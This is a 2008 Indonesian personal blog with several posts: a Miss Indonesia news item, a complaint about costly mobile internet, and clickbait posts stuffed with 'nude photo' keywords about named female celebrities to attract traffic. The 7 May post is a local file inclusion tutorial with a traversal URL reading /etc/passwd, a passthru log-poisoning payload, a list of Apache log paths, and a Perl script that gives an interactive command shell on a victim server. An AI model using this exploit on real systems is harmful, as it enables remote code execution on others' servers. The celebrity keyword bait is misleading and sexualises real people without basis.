Tuesday 13 May 2008

Sandra Angelina Miss Indonesia 2008

Sandra Angelia dari Jawa Timur dibobatkan sebagai Miss Indonesia 2008 di acara grand final yang berlangsung di Cendrawasih Room Jakarta Convention Center, Selasa (13/5) malam. Sandra Angelina berhasil menyisihkan wakil Maluku Kartika, Indah Pelpory dan wakil Sulawesi Utara, Priscilla Yvon Supit. Selanjutnya dia berhak mewakili Indonesia di ajang Miss World pada September 2008 mendatang


kopas Dari Kompas


Wah Miss World , jd penasaran nih pengen Liat Foto Sandra Angelina pake bikini

Ya udah aq Kasih Foto - Foto Sandra Angelina tanpa bikini dulu


















Mau foto - foto Lainnya ???? sono dah ambil Di situs Aslinya :-p

Friday 9 May 2008

Koneksi Internetku Sekarat


Udah dr kemaren koneksi internet Gw lemot banget , di adu ama kura2 cepetan kura-kura kali ,

setelah Gw ga bisa menahan koneksi yang downlink nya cm sekitar 900b/s ,dan dengan kemampuan seadanya gw mencoba memberanikan diri mengutak atik settingan parameternya , sial fakir bandwidth nih gw

Aha Berhasil ... cuy , koneksi kembali seperti semula , mungkin lebih cepet dan stabil dengan bandwidth yang lumayan ( qeqeqe ini cm perasaan aq aja koe )


setelah berselanacar sekitar 1 jam an

Tiba - tiba koneksi gw terputus dan rto mulu , yaudah gw disconnect dulu

dah konek tp koe masih rto yah ,...

kali ini perasaan gw bener2 ga enak , cb cek pulsa ah ....

ANJRRRRRRRIIIIIIIIIIITTTTTTTTTT Pulsa Gw Kepotong .. ....

MAma .... Pulsa Dede Ilang , kering tinggal serebu perak ,

hiks ... hiks ... buat pertama kalinya gw posting dengan mengeluarkan Duit ,

tdnya mao posting tentang keberhasilan gw ngutak - ngatik settingan , tp ternyata gagal,

udah tanggung dah capek ngetik , pulsa udah ilang , tanggung kalo ga di posting sekalian ajah abisin nih pulsa

hiks .....

kapannya di indonesia Internet itu bener2 free ...

Kan kasian orang - orang macem gw yang bener2 ga mampu ngeluarin duit buat internetan (xixix emang gw pelit kale) , internet di indonesia tuh dah kaya emas, cm orang yang berpenghasilan
menengah ke atas aja yang bisa ngerasain internet (ini pendapat gw ajah loh , gw juga ga melakukan riset buat nulis pernyataan kaya gini)


Wednesday 7 May 2008

file Logs Sebagai Pintu alternatif (LFI exploitation)

Kali ini posting aq serius gak akan ada kata bugil , gadis telanjang , foto artis bugil , foto

dewi persik bugil, dll ( padahal tetep ada tuh ;p )


// chapter 1 --- LOgs ANd LFI

ok , file log sendiri merupakan file yang berisi mengenai aktifitas2 komputer dan aktifitas yang

dilakukan di server , blah apa iki maksudnye begini - begini singkat kata file logs adalah file

yang berisi tentang aktifitas/Kegiatan di komputer(server).
Jd semua akses yang dilakukan kita akan di catat di file ini

Local File inclusion(LFI) sendiri dapat di artikan sebagai penyisipan file yang ada di local


//chapter 2 --- The Bug (LFI Concept)

contoh code yang terkena LFI

< ?php
$page = $_GET[page];
include($page);
? >


pada kode ini terlihat jelas variable Page tidak terfilter , dengan modifikasi url seperti

dibawah seorang penyerang dapat meload dan mengesekusi file tsb

http://Injek.injekkan.com/index.php?page=../../../../../../../etc/passwd


dan hasilnya akan terlihat isi dari file /etc/passwd


//chapter 3 --- fuck'n file logs

seperti yang sudah aq kasih tau diatas bahwa file logs mencatat semua aktifitas yang ada diserver , termasuk url yang sudah di modifikasi :) .

yah dengan memasukan <? passthru($_GET[cmd]) ?> pada url aq bisa menjalankan perintah pada server.

kenapa ?????? ingat file log akan mencatat semua aktifitas di dalam server,

  • manipulasi url menjadi --> http://Injek.injekkan.com/<? passthru($_GET[cmd]) ?>
  • file <? passthru($_GET[cmd]) ?> tidak terdapat di server , dan webserver akan mencatat di file log ( biasanya error_log )
  • get your shellllllllllllllllll ............... in http://Injek.injekkan.com/../../../../../../../etc/httpd/logs/error_log?cmd=your_command_shell .....



secara default file log tersimpan disini

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_log
../../../../../../../usr/local/apache/logs/access.log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_log
../../../../../../../usr/local/apache/logs/error.log
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log



//chapter 4 --- THe script


use LWP::UserAgent;
$korban="victim.com";
$path="/folder/";
$code="<? passthru($_GET[cmd]) ?>";
$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$korban", PeerPort=>"80") or die "

Connection Failed. ";
print $socket "GET ".$path.$code." HTTP/1.1 ";
print $socket "User-Agent: ".$code." ";
print $socket "Host: ".$korban." ";
print $socket "Connection: close ";
close($socket);
print " Code $code sucssefully injected in $log ";

print " Type command to run or exit to end: ";
$cmd = <STDIN>;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$korban", PeerPort=>"80") or die "

Connection Failed. ";
print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1 ";
print $socket "Host: ".$korban." ";
print $socket "Accept: */* ";
print $socket "Connection: close ";

while ($show = <$socket>)
{
print $show;
}

print "Type command to run or exit to end: ";
$cmd = <STDIN>;
}


referensi
e-rdc.org
rstzone.org


Bermetarmofosis Dulu Ke "Blog Lendir"

Foto bugil julia perezheheh ... dalam satu bulan ini kata - kata bugil , telanjang , sandra dewi telanjang , sandra dewi bugil , artis telanjang , artis bugil , Foto Julia Perez bugil , foto bugil jupe dll akan sering terlihat di blog ini, Jadi aq mohon maap untuk ketidak nyamanan ini


alasannya ?????


pertama sudah pasti pagerank .. dan traffic , berhubung aq masih baru di dunia bloger dan aq ga ngerti sama sekali tentang seo jd apa daya cara ini harus aq tempuh :-((

alasan kedua adalah sama dengan alasan pertama ;-)
hehe ... yah emang itu doank sih alesannya

ingat ini hanya sementara , ;p dan jangan anggap ini blog lendir

Foto bugil jupe

Tuesday 6 May 2008

Foto Bugil mariana Renata

Foto bugil mariana renatahufff mantap akhirnya gw bisa dapet juga foto bugil mariana renata, pertama2 gw seneng sih liat foto bugil mariana renata nya , (mulus euy kaya bidadari baru turun dr surga), tp ko lama-lama gw sedih ya , wanita cantik kaya dia
ko mao berpose kaya gitu , padahal ga usah foto telanjang kaya gini , pasti dia udah banyak penggemarnya , sungguh aneh dunia ini , hiks



emmm , .... udah di fullpost yah , qqeqeqeqeqe , ...

KETIPPPPPPPPPUUUUUUUUUUUUUUU ......!!!!!!!!

Tapi gw cm punya foto Mariana Renata yang ga bugil :-p

heheh maap , setelah berberapa minggu ini gw liat traffic blog ini , ternyata hasil nya sangat menyedihkan :(( , so ... jadi gw pikir gw harus ambil tindakan buat sedikit naikin traffiknya
maklum baru belajar , selain blogwalking , exchange link , kayanya ada yg perlu di ditambahin dah ... ;)


Foto mariana renata bugilyoi post yang bebau foto bugil , foto telanjang , artis bugil , artis telanjang , Foto mariana renata
bugil dll
hehe
he ... buat ngilangin rasa kecewa yang pengen liat foto bugil artis , ato foto bugil mariana renata nih gw kasih sedikit foto - foto nya mariana renata , xixix , tp engga bugil ,.. maap yah

wih emang manis banget yah ....
walau pun kurus , tp tetep cantik , .. ...
Pengen deh punya cw kaya dia , :D
Berdoa mode = ON
Tuhan Ciptakan lah Wanita lain yang seperti
dia , yang kau wujudkan dengan mengambil salah
satu tulang rusukku , hiks